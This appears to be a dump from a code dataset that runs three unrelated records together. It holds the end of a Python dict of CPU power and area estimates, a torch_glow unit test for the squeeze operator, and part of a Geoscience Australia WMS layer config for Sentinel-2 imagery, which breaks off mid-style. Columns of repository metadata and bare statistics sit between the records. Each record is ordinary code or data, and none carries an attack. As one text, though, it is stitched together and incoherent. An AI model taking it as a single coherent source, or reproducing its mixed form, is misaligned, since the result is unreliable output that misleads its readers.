'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 6.4067,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.238909,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0137694,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.187282,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.101833,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.426191,
'Execution Unit/Register Files/Runtime Dynamic': 0.115603,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.453125,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.888466,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 2.92117,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00077088,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00077088,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000670045,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000258625,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00146284,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00367465,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00744082,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.097895,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.22696,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.243525,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.332496,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.74768,
'Instruction Fetch Unit/Runtime Dynamic': 0.685031,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0648682,
'L2/Runtime Dynamic': 0.00300861,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.94939,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.824778,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.055396,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.055396,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 3.21098,
'Load Store Unit/Runtime Dynamic': 1.15337,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.136597,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.273194,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0484788,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0494453,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.38717,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0399451,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.626557,
'Memory Management Unit/Runtime Dynamic': 0.0893904,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 22.6463,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.62846,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.0224592,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.15193,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.802849,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 5.65482,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328}],
'DRAM': {'Area': 0,
'Gate Leakage': 0,
'Peak Dynamic': 0.9728639577822819,
'Runtime Dynamic': 0.9728639577822819,
'Subthreshold Leakage': 4.252,
'Subthreshold Leakage with power gating': 4.252},
'L3': [{'Area': 61.9075,
'Gate Leakage': 0.0484137,
'Peak Dynamic': 0.574623,
'Runtime Dynamic': 0.332512,
'Subthreshold Leakage': 6.80085,
'Subthreshold Leakage with power gating': 3.32364}],
'Processor': {'Area': 191.908,
'Gate Leakage': 1.53485,
'Peak Dynamic': 98.6196,
'Peak Power': 131.732,
'Runtime Dynamic': 29.3486,
'Subthreshold Leakage': 31.5774,
'Subthreshold Leakage with power gating': 13.9484,
'Total Cores/Area': 128.669,
'Total Cores/Gate Leakage': 1.4798,
'Total Cores/Peak Dynamic': 98.045,
'Total Cores/Runtime Dynamic': 29.016,
'Total Cores/Subthreshold Leakage': 24.7074,
'Total Cores/Subthreshold Leakage with power gating': 10.2429,
'Total L3s/Area': 61.9075,
'Total L3s/Gate Leakage': 0.0484137,
'Total L3s/Peak Dynamic': 0.574623,
'Total L3s/Runtime Dynamic': 0.332512,
'Total L3s/Subthreshold Leakage': 6.80085,
'Total L3s/Subthreshold Leakage with power gating': 3.32364,
'Total Leakage': 33.1122,
'Total NoCs/Area': 1.33155,
'Total NoCs/Gate Leakage': 0.00662954,
'Total NoCs/Peak Dynamic': 0.0,
'Total NoCs/Runtime Dynamic': 0.0,
'Total NoCs/Subthreshold Leakage': 0.0691322,
'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}
| 75.021882
| 124
| 0.681902
| 8,082
| 68,570
| 5.77951
| 0.067434
| 0.123657
| 0.113038
| 0.093513
| 0.939906
| 0.931878
| 0.919225
| 0.888225
| 0.865896
| 0.847484
| 0
| 0.131311
| 0.224457
| 68,570
| 914
| 125
| 75.021882
| 0.747043
| 0
| 0
| 0.646608
| 0
| 0
| 0.657785
| 0.048125
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6a5a522e9fd88788584283af9c3edd410f58af5f
| 1,314
|
py
|
Python
|
torch_glow/tests/nodes/squeeze_test.py
|
dreiss/glow
|
54c7625053bfb14955c4402ab8d9bca85195d53c
|
[
"Apache-2.0"
] | 1
|
2020-09-20T16:33:40.000Z
|
2020-09-20T16:33:40.000Z
|
torch_glow/tests/nodes/squeeze_test.py
|
dreiss/glow
|
54c7625053bfb14955c4402ab8d9bca85195d53c
|
[
"Apache-2.0"
] | 10
|
2020-08-09T11:46:55.000Z
|
2020-12-03T04:38:52.000Z
|
torch_glow/tests/nodes/squeeze_test.py
|
dreiss/glow
|
54c7625053bfb14955c4402ab8d9bca85195d53c
|
[
"Apache-2.0"
] | null | null | null |
from __future__ import absolute_import, division, print_function, unicode_literals
import torch
from tests.utils import jitVsGlow
import unittest
class TestSqueeze(unittest.TestCase):
def test_squeeze_basic(self):
"""Test of the PyTorch aten::squeeze Node on Glow."""
def test_f(a):
return torch.squeeze(a + a)
x = torch.randn(1, 3, 1, 2, 5, 1)
jitVsGlow(test_f, x, expected_fused_ops={"aten::squeeze"})
def test_squeeze_with_dim(self):
"""Test of the PyTorch aten::squeeze Node on Glow."""
def test_f(a):
return torch.squeeze(a + a, 2)
x = torch.randn(1, 3, 1, 2, 5, 1)
jitVsGlow(test_f, x, expected_fused_ops={"aten::squeeze"})
def test_squeeze_with_negative_dim(self):
"""Test of the PyTorch aten::squeeze Node on Glow."""
def test_f(a):
return torch.squeeze(a + a, -1)
x = torch.randn(1, 3, 1, 2, 5, 1)
jitVsGlow(test_f, x, expected_fused_ops={"aten::squeeze"})
def test_squeeze_inplace(self):
"""Test of the PyTorch aten::squeeze_ Node on Glow."""
def test_f(a):
b = a + a
return b.squeeze_()
x = torch.randn(1, 3, 1, 2, 5, 1)
jitVsGlow(test_f, x, expected_fused_ops={"aten::squeeze_"})
| 26.816327
| 82
| 0.604262
| 193
| 1,314
| 3.92228
| 0.238342
| 0.073976
| 0.073976
| 0.068692
| 0.729194
| 0.729194
| 0.729194
| 0.729194
| 0.729194
| 0.729194
| 0
| 0.027027
| 0.267884
| 1,314
| 48
| 83
| 27.375
| 0.759875
| 0.146119
| 0
| 0.423077
| 0
| 0
| 0.048138
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.307692
| false
| 0
| 0.153846
| 0.115385
| 0.653846
| 0.038462
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
6a64910013681230f222eef4986db55b83ec0bb0
| 35,533
|
py
|
Python
|
prod/services/wms/nrt-au/wms_cfg.py
|
andrewdhicks/dea-config
|
65c5ad4c787a485a02a4609301f5eea10dfbb29b
|
[
"Apache-2.0"
] | null | null | null |
prod/services/wms/nrt-au/wms_cfg.py
|
andrewdhicks/dea-config
|
65c5ad4c787a485a02a4609301f5eea10dfbb29b
|
[
"Apache-2.0"
] | null | null | null |
prod/services/wms/nrt-au/wms_cfg.py
|
andrewdhicks/dea-config
|
65c5ad4c787a485a02a4609301f5eea10dfbb29b
|
[
"Apache-2.0"
] | null | null | null |
# Static config for the wms metadata.
response_cfg = {
"Access-Control-Allow-Origin": "*", # CORS header
}
service_cfg = {
# Required config
"title": "Digital Earth Australia Near Real-Time Surface Reflectance",
"url": "http://nrt-au.dea.ga.gov.au",
"published_CRSs": {
"EPSG:3857": { # Web Mercator
"geographic": False,
"horizontal_coord": "x",
"vertical_coord": "y",
},
"EPSG:4326": { # WGS-84
"geographic": True,
"vertical_coord_first": True
},
"EPSG:3577": { # GDA-94, internal representation
"geographic": False,
"horizontal_coord": "easting",
"vertical_coord": "northing",
},
},
# Technically optional config, but strongly recommended
"layer_limit": 1,
"max_width": 512,
"max_height": 512,
# Optional config - may be set to blank/empty
"abstract": "This is a 30-day rolling archive of daily Sentinel-2 Near Real Time data. "
"Data is only visible at higher resolutions: when zoomed-out the available areas for that day "
"will be displayed as shaded regions. The Near Real-Time capability provides analysis-ready data "
"that is processed on receipt using the best-available ancillary information at the time to "
"provide atmospheric corrections. For more information see "
"http://pid.geoscience.gov.au/dataset/ga/122229",
"keywords": [
"sentinel",
"australia",
"time-series",
],
"contact_info": {
"person": "",
"organisation": "Geoscience Australia",
"position": "Client Services",
"address": {
"type": "postal",
"address": "GPO Box 378",
"city": "Canberra",
"state": "ACT",
"postcode": "2906",
"country": "Australia",
},
"telephone": "+61 2 6249 9111",
"fax": "",
"email": "clientservices@ga.gov.au",
},
"fees": "none",
"access_constraints": "© Commonwealth of Australia (Geoscience Australia) 2018. "
"This product is released under the Creative Commons Attribution 4.0 International Licence. "
"http://creativecommons.org/licenses/by/4.0/legalcode"
}
layer_cfg = [
# Layer Config is a list of platform configs
{
# Name and title of the platform layer.
# Platform layers are not mappable. The name is for internal server use only.
"name": "Sentinel-2 NRT",
"title": "Near Real-Time",
"abstract": "This is a 30-day rolling archive of daily Sentinel-2 Near Real Time data. "
"Data is only visible at higher resolutions: when zoomed-out the available areas for that day "
"will be displayed as shaded regions. The Near Real-Time capability provides analysis-ready data "
"that is processed on receipt using the best-available ancillary information at the time to "
"provide atmospheric corrections. For more information see "
"http://pid.geoscience.gov.au/dataset/ga/122229",
# Products available for this platform.
# For each product, the "name" is the Datacube name, and the label is used
# to describe the label to end-users.
"products": [
{
# Included as a keyword for the layer
"label": "Sentinel 2B",
# Included as a keyword for the layer
"type": "",
# Included as a keyword for the layer
"variant": "Surface Reflectance",
# The WMS name for the layer
"name": "s2b_nrt_granule_nbar_t",
# The Datacube name for the associated data product
"product_name": "s2b_nrt_granule",
# The Datacube name for the associated pixel-quality product (optional)
# The name of the associated Datacube pixel-quality product
# "pq_dataset": "s2b_nrt_granule",
# The name of the measurement band for the pixel-quality product
# (Only required if pq_dataset is set)
# "pq_band": "pixel_quality",
# Min zoom factor - sets the zoom level where the cutover from indicative polygons
# to actual imagery occurs.
"min_zoom_factor": 500.0,
# The fill-colour of the indicative polygons when zoomed out.
# Triplets (rgb) or quadruplets (rgba) of integers 0-255.
"zoomed_out_fill_colour": [150, 180, 200, 160],
# Time Zone. In hours added to UTC (maybe negative)
# Used for rounding off scene times to a date.
# 9 is good value for imagery of Australia.
"time_zone": 9,
# Extent mask function
# Determines what portions of dataset is potentially meaningful data.
"extent_mask_func": lambda data, band: (data[band] != data[band].attrs['nodata']),
# Flags listed here are ignored in GetFeatureInfo requests.
# (defaults to empty list)
"ignore_info_flags": [],
# Styles.
#
# See band_mapper.py
#
# The various available spectral bands, and ways to combine them
# into a single rgb image.
# The examples here are ad hoc
#
"styles": [
# Examples of styles which are linear combinations of the available spectral bands.
#
{
"name": "simple_rgb",
"title": "Simple RGB",
"abstract": "Simple true-colour image, using the red, green and blue bands",
"components": {
"red": {
"nbart_red": 1.0
},
"green": {
"nbart_green": 1.0
},
"blue": {
"nbart_blue": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "extended_rgb",
"title": "Extended RGB",
"abstract": "Extended true-colour image, incorporating the coastal aerosol band",
"components": {
"red": {
"nbart_red": 1.0
},
"green": {
"nbart_green": 1.0
},
"blue": {
"nbart_blue": 0.6,
"nbart_coastal_aerosol": 0.4
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "wideband",
"title": "Wideband false-colour",
"abstract": "False-colour image, incorporating all available spectral bands",
"components": {
"red": {
"nbart_swir_3": 0.255,
"nbart_swir_2": 0.45,
"nbart_nir_1": 0.255,
},
"green": {
"nbart_nir_1": 0.255,
"nbart_red": 0.45,
"nbart_green": 0.255,
},
"blue": {
"nbart_green": 0.255,
"nbart_blue": 0.45,
"nbart_coastal_aerosol": 0.255,
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "infrared_green",
"title": "False colour SWIR, NIR and green",
"abstract": "False Colour image with SWIR1->Red, NIR->Green, and Green->Blue",
"components": {
"red": {
"nbart_swir_2": 1.0
},
"green": {
"nbart_nir_1": 1.0
},
"blue": {
"nbart_green": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "infra_red",
"title": "False colour multi-band infra-red",
"abstract": "Simple false-colour image, using the near and short-wave infra-red bands",
"components": {
"red": {
"nbart_swir_2": 1.0
},
"green": {
"nbart_swir_3": 1.0
},
"blue": {
"nbart_nir_1": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "aerosol",
"title": "Spectral band 1 - Coastal aerosol",
"abstract": "Coastal aerosol band, approximately 435nm to 450nm",
"components": {
"red": {
"nbart_coastal_aerosol": 1.0
},
"green": {
"nbart_coastal_aerosol": 1.0
},
"blue": {
"nbart_coastal_aerosol": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "blue",
"title": "Spectral band 2 - Blue",
"abstract": "Blue band, approximately 453nm to 511nm",
"components": {
"red": {
"nbart_blue": 1.0
},
"green": {
"nbart_blue": 1.0
},
"blue": {
"nbart_blue": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "green",
"title": "Spectral band 3 - Green",
"abstract": "Green band, approximately 534nm to 588nm",
"components": {
"red": {
"nbart_green": 1.0
},
"green": {
"nbart_green": 1.0
},
"blue": {
"nbart_green": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "red",
"title": "Spectral band 4 - Red",
"abstract": "Red band, roughly 637nm to 672nm",
"components": {
"red": {
"nbart_red": 1.0
},
"green": {
"nbart_red": 1.0
},
"blue": {
"nbart_red": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "nir",
"title": "Spectral band 5 - Near infra-red",
"abstract": "Near infra-red band, roughly 853nm to 876nm",
"components": {
"red": {
"nbart_nir_1": 1.0
},
"green": {
"nbart_nir_1": 1.0
},
"blue": {
"nbart_nir_1": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "narrow_nir",
"title": "Narrow band Near Infra-Red",
"abstract": "Near infra-red band, centred on 865nm",
"components": {
"red": {
"nbart_nir_2": 1.0
},
"green": {
"nbart_nir_2": 1.0
},
"blue": {
"nbart_nir_2": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "swir1",
"title": "Spectral band 6 - Short wave infra-red 1",
"abstract": "Short wave infra-red band 1, roughly 1575nm to 1647nm",
"components": {
"red": {
"nbart_swir_2": 1.0
},
"green": {
"nbart_swir_2": 1.0
},
"blue": {
"nbart_swir_2": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "swir2",
"title": "Spectral band 7 - Short wave infra-red 2",
"abstract": "Short wave infra-red band 2, roughly 2117nm to 2285nm",
"components": {
"red": {
"nbart_swir_3": 1.0
},
"green": {
"nbart_swir_3": 1.0
},
"blue": {
"nbart_swir_3": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
#
# Examples of non-linear heat-mapped styles.
{
"name": "ndvi",
"title": "NDVI",
"abstract": "Normalised Difference Vegetation Index - a derived index that correlates well with the existence of vegetation",
"heat_mapped": True,
"index_function": lambda data: (data["nbart_nir_1"] - data["nbart_red"]) / (data["nbart_nir_1"] + data["nbart_red"]),
"needed_bands": ["nbart_red", "nbart_nir_1"],
# Areas where the index_function returns outside the range are masked.
"range": [0.0, 1.0],
},
{
"name": "ndwi",
"title": "NDWI",
"abstract": "Normalised Difference Water Index - a derived index that correlates well with the existence of water",
"heat_mapped": True,
"index_function": lambda data: (data["nbart_green"] - data["nbart_nir_1"]) / (data["nbart_nir_1"] + data["nbart_green"]),
"needed_bands": ["nbart_green", "nbart_nir_1"],
"range": [0.0, 1.0],
},
{
"name": "ndbi",
"title": "NDBI",
"abstract": "Normalised Difference Buildup Index - a derived index that correlates with the existence of urbanisation",
"heat_mapped": True,
"index_function": lambda data: (data["nbart_swir_3"] - data["nbart_nir_1"]) / (data["nbart_swir_3"] + data["nbart_nir_1"]),
"needed_bands": ["nbart_swir_3", "nbart_nir_1"],
"range": [0.0, 1.0],
},
# Mask layers - examples of how to display raw pixel quality data.
# This works by creatively mis-using the Heatmap style class.
# Hybrid style - mixes a linear mapping and a heat mapped index
{
"name": "rgb_ndvi",
"title": "NDVI plus RGB",
"abstract": "Normalised Difference Vegetation Index (blended with RGB) - a derived index that correlates well with the existence of vegetation",
"component_ratio": 0.6,
"heat_mapped": True,
"index_function": lambda data: (data["nbart_nir_1"] - data["nbart_red"]) / (data["nbart_nir_1"] + data["nbart_red"]),
"needed_bands": ["nbart_red", "nbart_nir_1"],
# Areas where the index_function returns outside the range are masked.
"range": [0.0, 1.0],
"components": {
"red": {
"nbart_red": 1.0
},
"green": {
"nbart_green": 1.0
},
"blue": {
"nbart_blue": 1.0
}
},
"scale_range": [0.0, 3000.0]
}
],
# Default style (if request does not specify style)
# MUST be defined in the styles list above.
# (Looks like Terria assumes this is the first style in the list, but this is
# not required by the standard.)
"default_style": "simple_rgb",
},
{
# Included as a keyword for the layer
"label": "Sentinel 2A",
# Included as a keyword for the layer
"type": "",
# Included as a keyword for the layer
"variant": "Surface Reflectance",
# The WMS name for the layer
"name": "s2a_nrt_granule_nbar_t",
# The Datacube name for the associated data product
"product_name": "s2a_nrt_granule",
# The Datacube name for the associated pixel-quality product (optional)
# The name of the associated Datacube pixel-quality product
# "pq_dataset": "s2b_nrt_granule",
# The name of the measurement band for the pixel-quality product
# (Only required if pq_dataset is set)
# "pq_band": "pixel_quality",
# Min zoom factor - sets the zoom level where the cutover from indicative polygons
# to actual imagery occurs.
"min_zoom_factor": 500.0,
# The fill-colour of the indicative polygons when zoomed out.
# Triplets (rgb) or quadruplets (rgba) of integers 0-255.
"zoomed_out_fill_colour": [150, 180, 200, 160],
# Time Zone. In hours added to UTC (maybe negative)
# Used for rounding off scene times to a date.
# 9 is good value for imagery of Australia.
"time_zone": 9,
# Extent mask function
# Determines what portions of dataset is potentially meaningful data.
"extent_mask_func": lambda data, band: (data[band] != data[band].attrs['nodata']),
# Flags listed here are ignored in GetFeatureInfo requests.
# (defaults to empty list)
"ignore_info_flags": [],
# Styles.
#
# See band_mapper.py
#
# The various available spectral bands, and ways to combine them
# into a single rgb image.
# The examples here are ad hoc
#
"styles": [
# Examples of styles which are linear combinations of the available spectral bands.
#
{
"name": "simple_rgb",
"title": "Simple RGB",
"abstract": "Simple true-colour image, using the red, green and blue bands",
"components": {
"red": {
"nbart_red": 1.0
},
"green": {
"nbart_green": 1.0
},
"blue": {
"nbart_blue": 1.0
}
},
# Used to clip off very bright areas.
"scale_range": [0.0, 3000.0]
},
{
"name": "extended_rgb",
"title": "Extended RGB",
"abstract": "Extended true-colour image, incorporating the coastal aerosol band",
"components": {
"red": {
"nbart_red": 1.0
},
"green": {
"nbart_green": 1.0
},
"blue": {
"nbart_blue": 0.6,
"nbart_coastal_aerosol": 0.4
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "wideband",
"title": "Wideband false-colour",
"abstract": "False-colour image, incorporating all available spectral bands",
"components": {
"red": {
"nbart_swir_3": 0.255,
"nbart_swir_2": 0.45,
"nbart_nir_1": 0.255,
},
"green": {
"nbart_nir_1": 0.255,
"nbart_red": 0.45,
"nbart_green": 0.255,
},
"blue": {
"nbart_green": 0.255,
"nbart_blue": 0.45,
"nbart_coastal_aerosol": 0.255,
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "infrared_green",
"title": "False colour SWIR, NIR and green",
"abstract": "False Colour image with SWIR1->Red, NIR->Green, and Green->Blue",
"components": {
"red": {
